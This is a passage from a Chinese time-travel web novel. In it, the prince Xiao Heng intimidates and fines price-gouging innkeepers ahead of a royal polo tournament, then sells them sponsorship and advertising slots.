“记录,”萧恒又对一名侍卫吩咐道。
立即有人抬来案几,备好笔墨纸砚,执笔之人正襟危坐,严阵以待。
被萧恒点名的老者,两鬓霜白,一身绫罗绸缎,此刻猝不及防被点名,顿时面色惨白,惊慌失措。
这该如何说?
说多了,怕这道坎过不去,说少了,眼前这关恐怕也难过。
思忖半晌,才颤声道:“求王爷息怒,房价飞涨一事,草民回去后,定即刻传令下去,凡我陈家名下所有酒楼客栈,一律降价,绝不再敢定此等高昂房价!”
“草民亦然,回去后,即刻命温家名下所有酒
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楼客栈一律降价。”
“我等亦是!求王爷息怒!”
一阵纷乱的附和之后,场中再次陷入沉寂。
“就这些?”萧恒轻笑一声,意味不明。
“草、草民实在愚钝……求王爷明示,”被点名的老者额头出现细密冷汗。
萧恒目光环视全场,眼神渐冷:“你们说得,倒是轻巧。”
“你们以为,仅仅是涨了些许房价,无关痛痒,是么?”
“砰!”萧恒一掌重重拍在案上。
“本王告诉你们,你们涨的并非区区房费,你们这是在打朝廷的脸,在扇我皇家的颜面。”
“这些时日,你们可曾亲自到街巷之间走走听听?可曾听见那些沸反盈天的声音?”
“那是远道而来的客商,在咒骂我朝廷无能!”
萧恒面罩寒霜,怒意盈眸:“马球盛事,乃陛下亲自下旨,由太子与本王协同督办,本意是为营造一场君民同欢、四海升平的盛世华典。”
“为此,我大梁广邀各国驻京使臣,届时共襄盛举。”
“各地百姓听闻此等盛会,亦不辞劳苦,奔赴京都,只为参与这难得一见的盛事。”
“此等盛典,本为彰显我大梁国威、展现繁荣昌盛之举。”
“可你们倒好,一切尚未开始,便因你们贪得无厌,致使远道而来的客商,看尽了你们这副唯利是图的嘴脸。”
“引得怨声载道,非议四起。”
“说我大梁京都之人,贪财无度,朝廷坐视不理,纵容尔等盘剥远客。”
“更有甚者认为,你们此举乃是本王指示尔等。”
“更让各国使臣,看尽我大梁的笑话。”
“一场本该扬我国威的盛事,却被你们这些区区贱商,弄得乌烟瘴气,腥臊遍体。”
“砰!”萧恒再次一掌击在案上,怒视跪伏于地的众人,厉声喝道:“尔等告诉本王,你们该当何罪?”
众人听闻此言,只觉脑中轰鸣,浑身瘫软。
他们不过……不过是涨了些许房费罢了。
怎就……怎就成了掌掴朝廷颜面、引外邦耻笑……这诸多滔天大罪?
这天大的罪状若真给自己坐实了,就自己项上这颗人头,便是有八百颗,也不够砍啊。
第74章:恐吓
随着萧恒一声爆喝,两侧护卫身形猛地一挺,腰间佩刀倏然出鞘半寸,一声清越的噌响炸开。
这脆利的刀刃出鞘声,再衬着护卫们那张毫无表情、冷得像冰的脸庞,一众商贾顿时身子一颤,没了往日里前呼后拥的从容,彻底慌了神,六神无主地站在原地。
他们虽说是各自家族商号里说一不二的掌舵人,在商场摸爬滚打多年,个个都是精于算计的老油条。
可古往今来士农工商的排序摆着,商人始终被压在最底层。
别看他们平日里出门时车水马龙、风光无限,可真遇上有权有势的主家之人,也只能敛眉顺目,小心翼翼地伺候着。
更何况眼前这位还是手握实权的大梁王爷,身份尊贵得能压得他们连头都抬不起来。
如今对着萧恒话里话外的恐吓,再加上两侧护卫手按刀柄、眼露凶光,那副随时要拔刀**的模样。
现场的商贾们哪里还撑得住?
一个个浑身发颤,连大气都不敢喘,吓得连指尖都在发抖。
“王爷饶命!王爷饶命啊!”
终于有人率先反应过来,扑通一声跪倒在地,声音发颤地求饶:“我等知道错了,求王爷开恩,饶了我们吧。”
其他人也跟着纷纷跪地,一张张脸上写满了惊恐,嘴里不停重复着求饶的话,有的甚至连眼泪都吓出来了。
其中更有个胆子小的,直接眼前一黑,“咚”的一声栽倒在地,当场吓晕了过去。
“把他弄醒。”
萧恒瞥见那晕过去的人,脸上没半点波澜,语气平淡地吩咐道,仿佛只是在说一件无关紧要的小事。
“醒醒!”一名护卫领了命,大步上前,伸出粗糙的手掌,轻轻拍了拍那人的脸颊,想把他唤醒。
“呃……”那人悠悠转醒,刚睁开眼,就见眼前站着个身材魁梧的大汉,视线往下一扫,正好瞥见大汉腰间悬着的那柄寒光闪闪的钢刀。
顿时眼睛一翻,“咕咚”一声,还没等众人反应过来,又晕了过去。
“哗啦!”见这人如此不经吓,那护卫顿时没了耐心,转身快步提来一桶冷水,对着那人的脸就狠狠浇了下去。
冰凉的水瞬间把人浇了个透心凉,连头发丝都在往下滴水。
那晕死过去的人被冷水一激,猛地打了个寒颤,喉咙里发出一声含糊的呜咽,瞬间就醒了过来,浑身哆嗦着缩在地上。
“再敢晕过去,直接宰了你!”
护卫噌地一声抽出腰间佩刀,刀光映着他凶狠的眼神,语气里满是不容置疑的威胁,刀刃上的寒气直逼那人面门。
那人被这话一吓,全身猛地一颤,眼球在眼眶里翻了又翻,可终究是怕了护卫的狠劲,没敢再晕过去。
只是直挺挺地瞪着一双圆溜溜的牛眼睛,死死盯着那护卫,连呼吸都放得极轻。
“很好,就这么保持着。”
护卫见状,咧嘴露出一抹冷笑,不再管他,转身大步走回原位。
“王爷饶命啊……”“求王爷饶命……”剩下的人还在一个劲地哀嚎,声音又尖又杂,像一群没头的苍蝇似的,吵得人耳朵疼。
“让他们闭嘴。”
萧恒抬手按了按发胀的太阳穴,这群人吵得跟菜市场里的鸭子似的,闹得他脑仁突突直跳,连思路都被搅乱了。
“聒噪!都给老子闭嘴!”
铁牛猛地抽出佩刀,刀刃划过空气发出一声锐响,他对着众人爆喝一声,震得人耳膜发疼。
“谁再敢发出一点响动,老子直接砍了他,让他永远闭嘴。”
这话一出,现场的哀嚎声瞬间就没了踪影,连一丝一毫的声响都听不到了,只剩下众人压抑的、急促的呼吸声,落针可闻。
这下总算舒坦了。
萧恒紧绷的眉头缓缓舒展开来,脸上的倦意也淡了几分。
从座位上站起身,缓步朝着跪在地上的众人走了过去,衣摆随着脚步轻轻晃动。
走到众人面前,萧恒停下脚步,脸上带着几分故作不解的神色,开口问道:“你们这是在干什么?本王何时说过,要砍了你们的脑袋吗?”
众人跪在地上,脸上的惊恐丝毫没有减少,膝盖下的青砖冰凉刺骨,可他们连动都不敢动,心里却满是
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疑惑。
不砍?可刚才王爷说的那些罪状,桩桩件件若是真的坐实了,别说砍一次,就算砍他们八百次都够了,怎么突然又不砍了?
“王、王爷……您不、不杀我们吗?”
终于有人鼓起勇气,声音颤颤巍巍地开口询问道,话里满是不确定的惶恐。
“本王何时说过要杀你们了?”
萧恒瞥了他们一眼,语气里带着几分不耐。
“一个个好歹也是在京城里有头有脸的人物,现在却跟办丧事哭丧似的,鼻涕眼泪抹了一脸,像什么样子?”
萧恒脸上的嫌弃之色毫不掩饰,明晃晃地摆在众人面前,看得人心里发慌。
“难不成,你们觉得本王是那种嗜杀成性的人?”
萧恒话锋一转,语气瞬间冷了下来,带着一股彻骨的寒意,像冬日里的寒风刮过人心。
“若是你们非要这么认为,那本王也不介意,真的动手杀了尔等,省得看着心烦,也省得留着你们继续给朝廷惹麻烦。”
“没有没有,绝对没有。”
众人一听这话,吓得连忙摆手,脸上挤出谄媚的笑容,生怕慢了一步就真的人头落地。
“王爷您仁德宽厚,心怀百姓,怎么可能是嗜杀之人呢?”
“是我们糊涂,是我们想错了。”
“可惜啊,让你们失望了。”
萧恒忽然幽幽一笑,语气里满是戏谑,像是在逗弄一群惊慌的兔子。
“你们想多了,本王还真就是个嗜杀之人,尤其是对你们这种损害朝廷利益的蛀虫。”
话音未落,萧恒面色再度变得冰冷,眼神里没了半分笑意,只剩下刺骨的冷意。
“本来按照本王一开始的想法,像你们这种吸百姓血汗、损朝廷颜面的蠹虫,就该直接拉出去砍了,一了百了,省得留在世上给我大梁抹黑,也省得污了本王的眼。”
众人刚刚稍微放下一点的心,被萧恒这话一吓,瞬间又提到了嗓子眼,一个个满脸恐慌地抬起头。
死死地盯着萧恒,眼神里满是哀求,生怕萧恒下一秒就真下令让人把自己拖出去砍了。
第75章:钱和脑袋选一个
“不过,太子殿下仁德宽厚,特意劝了本王。”
萧恒话锋又转,语气稍稍缓和了些。
“太子殿下说如今正值第一届大梁皇家杯开赛前期。”
“国的使臣都在京城里看着,这个时候不宜制造过多杀戮,免得落人口实,让他国笑话我大梁无容人之量。”
萧恒顿了顿,继续说道:“而且太子殿下还说,若是现在杀了你们”
“京都里那些由你们掌管的各大酒楼、客栈,怕是会因为群龙无首而乱了套,到时候耽误了皇家杯的接待事宜,反倒不美。”
“所以,在太子殿下的劝说下,本王暂时决定饶你们死罪。”
萧恒看着众人,一字一句地说道,每个字都清晰地传入众人耳中。
“所以诸位的脑袋,目前来看还是安全的,还能继续好好地放在你们自己的肩膀上。”
“至少现在是这样,”萧恒笑道。
“所以啊,诸位大可放宽心,没事的,一切安啦。”
萧恒说着,脸上又露出了些许笑容。
笑容如风,可落在众人眼里,却没半分暖意,只觉得后背发凉。
此刻众人看着萧恒这一脸温和的笑意,心里突突直跳,慌得不行。
他们这会的心情,就跟坐过山车似的,刚从最高点跌下来,还没稳住心神,又被猛地拽了上去,忽上忽下,根本定不下来,连心脏都快承受不住了。
甚至有人觉得,自己的小命这会就像是在阎罗殿的大门边蹦迪。
刚才还差点蹦跶进去,下一秒又被拉了出来。
悬在半空中,不上不下的,那种煎熬的滋味,比死还难受。
“王爷……您要是有什么吩咐,就请明说吧。”
人群里,一个头发都白了大半的老头再也撑不住了,直接瘫坐在地上,一只手紧紧捂着胸口,另一只手撑着地面。
指节都因为用力而泛白,哭丧着一张脸对萧恒说道:“您这般忽冷忽**说话,一会儿要杀,一会儿又说免罪,草民这颗老心脏实在是受不了,跳得都快从嗓子眼里出来了啊。”
“是啊是啊!还请王爷明示!”
其他商贾也连忙跟着附和,一个个脸上满是哀求,声音里带着难以掩饰的恐慌颤抖。
“我们实在禁不起您这么折腾了,有什么事您就直说,我们都听您的。”
萧恒这般一会儿松一会儿紧的,他们的情绪跟着急上急下,着实快把小命折腾没了,这哪扛得住啊。
萧恒见状,转身走回自己的座位坐下,手指轻轻敲击着扶手,脸上依旧是那副淡然的神色,开口说道。
“诸位都是聪明人,心里该清楚,你们本来是死罪一条,若不是太子殿下出面求情,本王可不会轻易饶了你们,如今不过是免了尔等的死罪罢了。”
“既然免了死罪,活罪自然难逃。”
萧恒语气微微加重,眼神扫过众人,带着一股无形的压力。
“若是就这么轻飘飘地饶了你们,不加以严惩,那朝廷的威严何在?”
“日后谁还会把朝廷的律法放在眼里?谁还会忌惮皇家的规矩?”
“王爷说的极是,我等罪大恶极,确实该受惩罚。”
众人一听这话,非但没害怕,反而像是松了口气,连忙开口说道,脸上满是诚恳。
“还请王爷明示,该如何治罪,我等绝无二话,一定照办。”
这些人活了大半辈子,和官府打交道的次数也不少,哪次不是想着能拖就拖、能躲就躲,能少受点罚就少受点罚?
可这一次,却是他们这辈子头一遭,如此迫切地希望朝廷能赶紧治自己的罪。
哪怕罚钱、罚物,也比被萧恒这么吊着强,那种未知的恐惧,实在太折磨人了。
就算自己真有什么罪,也宁愿让朝廷的律法来明明白白地制裁。
也不想再被眼前这位喜怒无常的王爷这么来回恐吓。
萧恒的目光缓缓扫过在场的每一个人,语气平静地说道:“这次的事,说到底是你们趁着皇家杯开赛、外来宾客增多。”
“恶意抬高京都酒楼、客栈的房价,坑害那些远道而来的客人,才闹到这个地步,引得百姓怨声载道。”
“既然如此,本王便按律行事,收缴诸位近段时间靠着抬价赚来的不义之财。”
说完萧恒顿了顿,眼神陡然变得锐利起来,像刀子似的刮过众人的脸,问道:“诸位,可有意见?”
众人一听,心里顿时松了一大口气,原来只是破财免灾啊。
这对于他们这些家财万贯的商贾来说,根本不算事。
一个个脸上瞬间露出了如释重负的表情,刚才的恐慌也消散了大半,连呼吸都变得顺畅了些。
在他们看来,只要是能用银子解决的问题,就从来都不是问题。
更何况,他们每年为了打通关系,给各方官员打点的银两,本就不是一个小数目。
如今不过是多花一笔钱买平安罢了,比起丢了脑袋,简直是天大的好事。
甚至还有人在心里偷偷怀疑,眼前这位齐王殿下,虽然把事情说得极为严重,摆出一副要严惩他们的样子。
但说到底,会不会也只是想借着这个由头,趁机敛一笔钱财罢了。
毕竟王爷府里开销大,偶尔创收也正常,只要不杀他们,罚点钱算什么?
“没有意见!绝对没有意见!”众人连忙开口,脸上满是感激的神色,恨不得立刻表忠心。
掏银子孝敬萧恒。
“是我等利欲熏心,一时糊涂,被钱财迷了眼,才做出这等损害朝廷颜面、坑害百姓的事。”
“若非王爷您仁慈,我等怕是要成为明日的刀下亡魂。”
有人一边说,一边对着萧恒咚咚磕头,额头上都磕出了红印。
“如今能
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逃过死罪,只需交付些许银两,已是我等天大的幸运,齐王殿下仁德无双,我等感激不尽,怎敢有半分不愿!”
萧恒脸上依旧没什么表情,依旧是那副平静的样子,缓缓说道:“记住是太子仁德,不是本王。”
“太子仁德,王爷同样仁德,都一样,一样,”众人急忙附和道。
萧恒闻言难得纠正,继续说道:“既然诸位没意见,那便好。”
“尔等回去之后,就尽快备好所罚的银钱,三日后自有专人上门按律收缴,不得拖延。”
“放心,本王罚的也不算多,不过是小惩大诫,主要是想让诸位长长记性,以后不敢再犯罢了。”
萧恒目光落在众人脸上,清晰地说出了具体的数目:“就罚你们各自非法所得的十倍吧。”
“另外,从明日起,京都所有由你们掌管的酒楼、客栈,房价一律恢复到平日的原价,不得有半分虚高。”
“日后就算要根据时节调整价格,涨幅最高也不得超过平日价格的三成。”
萧恒的语气陡然变得严肃起来,眼神里带着不容置疑的威严。
“若是日后再发现有人敢借着任何由头恶意涨价,坑害百姓和外来宾客,一律从重处罚。”
“到时候可就不是罚钱这么简单了。”
“什、什么?十倍?”众人一听这个数目,脸上的笑容瞬间僵住,取而代之的是满满的震惊。
一个个瞪大了眼睛,不敢相信自己的耳朵,刚才的轻松瞬间消失得无影无踪。
十倍?
他们这段时间靠着抬价赚的银子可不少,十倍的数目,那是要他们的老命啊。
“怎么?诸位这是有意见了?”萧恒见众人这副模样,眼睛微微眯了起来,语气里听不出喜怒。
“王爷!冤枉啊!”终于有人忍不住,带着哭腔开口说道,声音里满是委屈和恐慌。
“我等做的都是小本生意,平日里赚的也都是辛苦钱,哪有那么多银子啊。”
“这十倍罚款……实在是太多了,我们根本拿不出来啊,求王爷开恩,少罚一点吧。”
萧恒脸上依旧没什么波澜,语气平淡得像是在说一件无关紧要的小事,却带着不容置喙的强硬:“要么,把钱交出来,要么,把脑袋留下,选一个吧。”
“罚钱是太子对你们的恩典,掉脑袋是本王的意思,先砍了你们,本王自会去找你们背后的家族再继续说道说道。”
“该怎么选,诸位随便,本王不干预。”
“要、要脑袋!”
那人被萧恒这话吓得魂都快没了,脸色瞬间惨白,嘴唇哆嗦着,急忙改口说道,“我选交钱,不,不是……我是说,我交,我这就回去准备银两。”
“一定在三日内交齐,绝不敢拖延。”
他生怕自己再说错一个字,真的把脑袋给丢了,连话都说得颠三倒四的。
第76章:还来?
萧恒缓缓起身,亲自弯腰将跪伏在地的那人搀扶起来。
修长的手指轻轻拂过对方衣袖上的褶皱,语气温和:“很好,你的选择是明智的。”
随即抬眸环视四周,目光在每一张惶恐的脸上掠过,声音依然轻柔:“那诸位呢?”
“可有其他不同的选择?”
“锵——”
两侧侍卫应声而动,腰间佩刀应声出鞘半寸,寒光乍现,刀刃相擦发出一声清脆的锐响,在寂静的花园中格外刺耳。
这威胁赤裸裸的,没有丝毫遮掩。
此刻众人对上萧恒那温和的目光,只觉得比一旁泛着寒光的刀锋更加冰冷刺骨。
“草、草民领罚,回去之后,定会第一时间备好所需银钱,请王爷放心。”
一个颤抖的声音率先打破沉寂。
钱没了可以再赚。
虽说十倍的罚款听上去骇人,但在座的都是家底丰厚的商贾,经营多年,酒楼客栈不过是其中一项产业罢了。
肉疼归肉疼,尚在可承受范围之内。
而脑袋若是没了,可就真的万事休矣。
他们心知肚明,以他们的身份,若是今日真被这位看似温文尔雅实则行事狠戾的王爷当场斩杀。
背后的家族断不会为了一个已死之人去与皇室理论。
当下众人忙不迭地点头应承,生怕慢了片刻,眼前这位主就会改变主意,血溅当场。
“嗯,既然大家都认可了,那便签字画押吧。”
萧恒面色恢复平静,优雅地坐回紫檀木椅中,端起茶盏轻抿一口,又变回了那位平易近人的王爷。
这时一名身着青色官服的小吏抱着一摞厚厚的纸张快步走出,将手中文书逐一发到众人手中。
每人三张。
“请诸位仔细阅读手中供状,如有疑问,可现场提出异议,殿下自会重新审理。”
小吏声音不高,却清晰的传入了众人耳中。
“若是没有异议,便请签字画押。”
“此供状一式三份,事后将分别留存于京都府衙、东宫以及殿下王府。”
众人颤抖着双手接过那沉甸甸的供状,纸上墨迹未干,详细罗列了他们恶意抬高房价、致使朝廷蒙羞等罪状,罚款金额正是非法所得的十倍。
每张供状的右下角,都赫然盖着三个鲜红的印章,刺目非常。
东宫太子的蟠龙印、齐王的麒麟印、京都府衙的官印。
三印齐现,证明此案乃是由东宫太子、齐王与京都府衙共同审理定案。
当看到太子的印章也位列其中时,众人只觉得眼前一黑,最后一丝侥幸也破灭了。
匆匆扫过供状内容,见所述与齐王先前所言并无出入,只得认命地提起毛笔,在落款处签下自己的名字,又颤巍巍地按下鲜红的手印。
“完美,”萧恒眼底掠过一丝不易察觉的笑意,吩咐道:“将这些供状尽快送往京都府衙及东宫封存。”
有了这些白纸黑字的供状,他今日所做的一切便都是依照大梁律法行事。
莫说御史**,便是父皇亲自过问,他也占尽理据。
谁敢说他这是敲诈?
“王爷,既然草民等人已经签字画押了,那是不是可以回去了?”
有人壮着胆子问道,声音里满是小心翼翼。
其他人也纷纷投来期盼的目光,恨不得立刻离开这个令人胆寒的地方,总觉得项上人头在此处呆得不**稳。
那人见萧恒不语,生怕他误会,急忙补充道:“主要是草民等在王爷的教诲下,如今深知罪孽深重,故而内心焦急难安。”
“只想早些回去,便能早些筹备罚银,更重要的是,能尽快完成王爷交代的任务。”
“早日恢复房价,挽回外地客商对我们京都人士的信任。”
“不急。”萧恒闻言却面色平静地看向众人。”
“恶意上涨房价一案,从你们签字画押的那一刻起,便已经结案了。”
“下面还有另外一件事,本王估摸着你们会感兴趣。”
“还有事?”众人闻言,刚刚落回肚子里的心又悬了起来。
一桩案子就要了半条命,再来一桩,岂不是今日就要彻底交代在这里了?
尽管内心惶恐万分,众人却丝毫不敢表露半分不满,一个个挤出比哭还难看的笑容,对着萧恒毕恭毕敬地道。
“王爷还有什么吩咐,草民等人一定尽力完成。”
萧恒
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唇角微扬,露出一抹意味深长的笑容:“别紧张,这次是互利互惠的好事。”
“啪啪。”
萧恒抬手轻轻击掌两下。
花园两侧顿时响起了一阵凌乱的脚步声。
刀斧手?
有心思活络的商贾听到这脚步声,第一反应便是齐王在两侧埋伏了刀斧手,这是要**灭口了?
“王爷饶命啊!”
一人当即两眼一闭,扑通一声跪倒在地,脑袋如同捣蒜般疯狂叩首,额角很快便泛起了青紫。
“贵客……贵客,你这是在做什么?”
“殿下赐座,还请贵客落座品茶。”
耳边传来的并非预想中的惨叫声,而是一道温婉柔美的女声。
那人的哭嚎声戛然而止。
赐座?
赐什么座?
还要品茶?
他忐忑不安地睁开双眼,映入眼帘的并非凶神恶煞的刀斧手,而是一群内侍正搬着数十把红木椅子及茶几,整齐地摆放在花园中。
随后走出的是一列身材纤秀的婢女,每人手中端着精致的茶盘。
上面放着热气腾腾的茶盏,步履轻盈地走向各位商贾。
此刻一名婢女正蹲在跪地的商贾面前,面露疑惑,轻声细语地说道:“贵客,请入座。”
那商贾一时反应不过来,茫然四顾,只见四周投来的目光中满是压抑的笑意。
“贵客,请入座,”婢女的声音再次响起,带着恰到好处的恭敬。
“哦——好。”
“商贾这才回过神来,慌忙起身,满脸窘迫地坐到最近的椅子上。
为了掩饰尴尬,他伸手就要去端茶几上的茶盏。
“嘶——!“
因紧张,此人端茶时,手并未端稳,茶盏一晃,几滴茶水便滴落在了手背上。
此人顿时就倒吸一口凉气,面部扭曲,龇牙咧嘴地缩回手。
婢女见状,嘴角微不可察地抽动了一下,柔声提醒:“刚沏好的茶,可能有些烫,还请贵客小心。”
商贾疼得五官都皱在一起,却不得不强装镇定:“多、多谢提醒,在下知道了。”
婢女微微欠身,唇角挂着得体的浅笑,悄然退后一步,垂手静立在一旁。
第77章:忽悠
“诸位请入座。”
众人内心忐忑地依次入座,目光不由自主地扫视两侧。
方才持刃而立的护卫已不见踪影,取而代之的是一列垂手静立的婢女,个个低眉顺目,纹丝不动。
雕花檀木茶几上,青瓷茶盏氤氲着袅袅热气,配着两碟精致的桂花糕与杏仁酥。
这般礼遇与先前剑拔**张的气氛相比,简直是天壤之别。
众人面面相觑,皆是一头雾水。
最终,所有困惑的目光都聚焦在了萧恒身上。
萧恒也不绕弯子,指尖轻叩紫檀桌面,开门见山道:
“关于京都即将举办的大型马球赛事——全名‘大梁皇家杯’,诸位应该都已熟知了吧?”
“熟悉……自然熟悉。”
众人闻言,面上不禁泛起苦涩,连连附和。
岂能不熟悉?
今日为何会身在此处?
归根结底,不就是因为此事吗?
就在半刻钟前,他们还以为自己要为此事把性命交代在这里了!
众人内心翻江倒海,面上却愈发恭敬。
“既然诸位都已熟知,正好省了本王一番口舌。”
萧恒唇角微扬,继续道:“本王想问问诸位,随着赛事临近,如今的京都,与往日相比,可有哪些不同?”
“王爷是指……人口流动?”有人试探着问道。
“正是人口。”
萧恒颔首:“据近半月各城门登记在册的数据显示,每日涌入京都的外来人员,比平日至少多出数千之众。”
“而且这个数目,随着赛期临近,只会与日俱增。”
“近日竟有如此多外来人口涌入京都?”众人面露惊诧。
他们虽知近期京都不乏外地来客,却未料到数量如此庞大。
一些心思活络之辈,眼底已悄然掠过一丝贪婪与纠结。
如此庞大的人口,衣食住行皆是需求,若能在其中分得一杯羹……那汇聚起来的,将是何等惊人的利润?
不少人的心思再次活络起来。
萧恒目光扫过众人,仿佛能穿透人心:“诸位皆是商界翘楚,人口的激增,尤其是这种抱有明确目的、短时间内大量汇聚的人口意味着什么,想必无需本王多言了吧?”
自然是巨大的商机,巨大的利益。
众人心知肚明,却无人敢轻易说出口,生怕再触怒这位刚刚罚了他们巨额款项的齐王殿下。
“利益。”
一片寂静中,萧恒淡然吐出这两个字。
“庞大的人口基数,便意味着源源不断的利益。”
见众人神色微动却仍保持沉默,萧恒继续道:“然则,人口再多,终有上限,利益再大,亦有饱和之时。”
“便如一块画出来的大饼,看似可观,若分食者众,最终每人所得,也不过是浅尝辄止,难以果腹。”
萧恒话锋一转:“那么,若有人想抢占先机,快人一步,不仅要尝到滋味,更要吃饱,该如何做?”
“诸位都是经商之人,若想压过同行,让百姓皆知你家商品,蜂拥而至,又当如何?”
“自当诚信经营,”一人起身答道:“商贾以信誉为本,诚信待人,生意自然兴隆。”
“嗯,在理。”萧恒微微颔首:“可还有?”
“薄利多销。”又一人道:“价格低廉,自然能吸引更多顾客。”
萧恒再次点头:“还有吗?”
众人顿时七嘴八舌议论开来。
从确保货品质量上乘,到选址得当、铺面敞亮.
从伙计待客热情周到,到适时让利、稳固老客……。
能成为各家世族在明面上的掌舵人,谁没有几手看家本领?
此刻无论真心还是敷衍,个个都说得头头是道。
待议论声渐息,萧恒再度开口:“可还有不同见解?”
“草民愚钝,恳请王爷指点迷津,”一人起身,恭敬行礼。
“草民愚钝,恳请王爷赐教,”余人见状,纷纷附和。
萧恒摆手轻笑:“谈不上赐教,不过与诸位探讨一二。”
“方才诸位所言种种,皆是行之有效的良方。”
“然则在本王看来,还有一事,其重要性不亚于前者。”
萧恒略作停顿,吐出二字:“宣传。”
众人一听,眼中难以抑制地流露出些许失望。
还以为这位王爷有何高论,原来不过是老生常谈。
宣传谁人不知?
哪个新店开张不搞些酬宾优惠?
酒楼食
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肆赠送小菜、打折让利更是司空见惯,这不都是宣传?
萧恒将众人神色尽收眼底,笑道:“看来,诸位对此颇有些不以为然啊。”
“不敢不敢!王爷所言极是,行商之道,宣传自古便是重中之重。”一人急忙辩解。
“是啊是啊,王爷高见!”另一人连忙附和。
萧恒抬手虚按,止住众人的话头:“本王先请诸位看一物,再与诸位细说。”
说罢,萧恒轻轻击掌。
“啪!啪!”
清脆的掌声在厅内回荡。
只见花园一侧,一队青年男子鱼贯而入,约十余人,皆身着统一的玄色劲装。
这服饰颇为奇特,前后心口、臂膀之处,皆以银线绣着一种独特的符号——从一到数十不等。
此符号在大梁被称为大梁数字,因其源自当朝齐王萧恒之手。
当然在另一个世界,他还有一个名字,叫做阿拉伯数字。
更引人注目的是,所有服饰的右肩处,数字下方,皆清晰地绣着四个大字——“民生商号”。
“民生商号?”
“可是近来刚冒头的那家商号?这些人衣上为何绣其名号?”
众人见状,不禁交头接耳,窃窃私语起来。
再看他们左胸位置,则绣着“大梁皇家球队”字样,旁侧还有一面小巧精致的大梁龙旗图案。
这十余人步履沉稳,在萧恒面前整齐列队,身姿挺拔如松。
为首一人跨步出列,抱拳行礼,声若洪钟:
“启禀殿下!大梁皇家球队一队全体人员奉命前来,应到十六人,实到十一人。”
“另有五人正在对二队进行集训,请王爷检阅。”
“不错!”
萧恒起身,行至那人面前,抬手一拳轻锤其胸膛,发出沉闷的响声。
“已有几分气象了,回去好生训练,本王期待尔等夺魁之日。”
“殿下放心,属下等必不负殿下厚望。”
队长朗声应答,声震屋瓦,随即干脆利落地转身,带领队员迈着整齐划一的步伐离去。
那一举一动,竟隐隐带着军中悍卒的凛然之气。
这般昂扬挺拔的姿态,若是立于人前,不知要引得多少怀春少女心旌摇曳。
第78章:接着忽悠
“诸位,这便是由本王亲自组建并调教出的一支球队,方才他们的风采,诸位也都尽收眼底了,不知观感如何?”
萧恒含笑道。
顿时有人应声而起:“气势如虹,锐不可当!不愧是王爷亲手栽培的球队,此次赛事夺魁,想必是探囊取物。”
人到底是群居之辈,无论在何处,总少不了阿谀奉承之徒。
萧恒话音才落,谄媚之声便此起彼伏,不绝于耳。
且非止一人,而是满座争相,但凡是能开口的,无不说着奉承讨好的话语。
萧恒心中虽对此等行径颇感厌烦,但俗语有云:举手难打笑脸人。
更何况,他接下来还要从这些人鼓鼓的腰包中,掏出真金白银。
于是萧恒面上浅笑,一副颇为受用的神情,抬手虚按了按,道:“那本王便在此借诸位吉言了。”
语声略顿,萧恒续道:“方才球队队员衣衫之上,所绣的‘民生商号’字样,诸位想必都看得真切吧?”
“诸位不妨设想,若本王的球队果真一路高歌,最终摘得魁首,这‘民生商号’四字,随着他们在赛场上纵横驰骋,将会被多少观赛之人牢记于心?”
“如此宣传之法,其效何如?”
萧恒目光扫过众人,似笑非笑地询问道。
此言一出,席间一众商贾的呼吸,顿时肉眼可见地粗重了几分。
往日里他们所做的宣传,多是小打小闹,从未敢想能如此这般,引得万人空巷,满城瞩目。
一来是无人有此胆魄与能力,二来众人也觉得并无此必要。
然而此刻,所有人的脑海中,却不约而同地浮现出一幅画面:在那人山人海、万众瞩目之地,自家的商号名号若能显现其中,那将是何等光景?
萧恒将众人反应尽收眼底,面色平静无波,心下却不禁暗笑。
继续言道:“诸位的生意,想必早已不局限于这京都一隅,而是遍布我大梁的**,各大州郡,乃至县城乡镇,恐怕也都有诸位商号的足迹。”
“而此番马球赛事,吸引了无数外地客商云集京都。”
“若是诸位商号的名头,能借此机会深入人心,无论他们日后行至天涯海角,但凡有相关需求,首先便能想起诸位的商号……”
“诸位且说,这能否为你们带来源源不断的财源?”
众人听闻,呼吸不由得再次急促起来,仿佛已然看到自家商号名扬四海,天下皆知的那一幕。
那可是实实在在、无穷无尽的利益啊!
当下便有人按捺不住,起身躬身问道:“敢问王爷,需要我等如何做,方能将自家商号的名号,也如同那民生商号一般,绣于球队战袍之上,得以随队亮相于赛场?”
“王爷……”
一时间,众人唯恐落于人后,纷纷出声询问,场面一时有些纷乱。
“诸位,稍安毋躁。”
萧恒抬手,再次缓缓下压,笑道:“我大梁京都,加之各地行商之人,纵无十万,亦有八万之众。”
“而似诸位这般,财力雄厚、颇具规模的商号,同样多如牛毛,不可胜数。”
“然,诸位需知,迄今为止,已在马球协会正式登记造册、获得参赛资格的球队,连同几支异族球队在内,也仅有二十三支。”
“倘若诸位都想将自家商号绣于球队战袍之上,随队征战,这……恐怕有些不切实际了吧?”
萧恒话音未落,当即有人急声道:“王爷!我‘盛源隆’愿出现银一千两,求取一个名额!”
此人话音刚落,另一声音紧接着响起:“王爷!我‘天下鲜’也愿出一千两!”
“王爷!我‘聚仙楼’愿出两千两!还望王爷恩准,予我‘聚仙楼’一个名额!”又一人霍然起身,语毕,目光略带傲然地扫视了一圈在场他人。
此人直接将价码抬高了一千两,顿时让不少先前报价之人面色变得难看起来。
“王……”
还有人欲要开口,却被萧恒出言打断。
“诸位,稍安毋躁嘛。”
萧恒语气平和,带着几分安抚:“俗话说得好,心急吃不了热豆腐,此事,诸位何必如此急于一时呢?”
“球队的名额固然有限,但除此之外,也还有其他地方,同样可以为诸位宣传商号。”
“譬如那赛事球场之内,又如……京都的各条大街小巷之上。”
“想必近些时日,诸位也已留意到,京都内外城的主要街道旁,新立起了不少旗杆吧?”
“那些旗杆,亦是本王为诸位预留的……嗯,可称之为‘广告’之位。”
“广告?”众人闻言,面上皆露出疑惑不解之色。
“便是为诸位广而告之、宣扬名号之意。”萧恒笑着解释道:“本王将其称为广告,取广而告之之意,寓意名扬天下,图个吉利彩头。”
众人一听,顿时恍然大悟,又是一片奉承之声响起:“王爷思虑周详,非我等能及!”
“却不知,要如何才能获得王爷方才所言的这些……广告位呢?”立刻便有人切中要害地问道。
他们心知肚明
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,天下绝无免费的午膳。
尤其是在这位齐王殿下面前,他既费尽周折引出此话头,断无可能让他们轻易得手。
萧恒看了一眼那提问之人,眼中闪过一丝赞赏,自己就乐于同这般聪慧之人交谈。
“诸位先请安坐,饮些茶汤,用些点心,我们边享用边细谈。”萧恒挥了挥手,示意众人放松。
待众人重新落座后,萧恒方神色平静地开口道:“目前赛事已然临近,可供使用的广告位,实则并不多。”
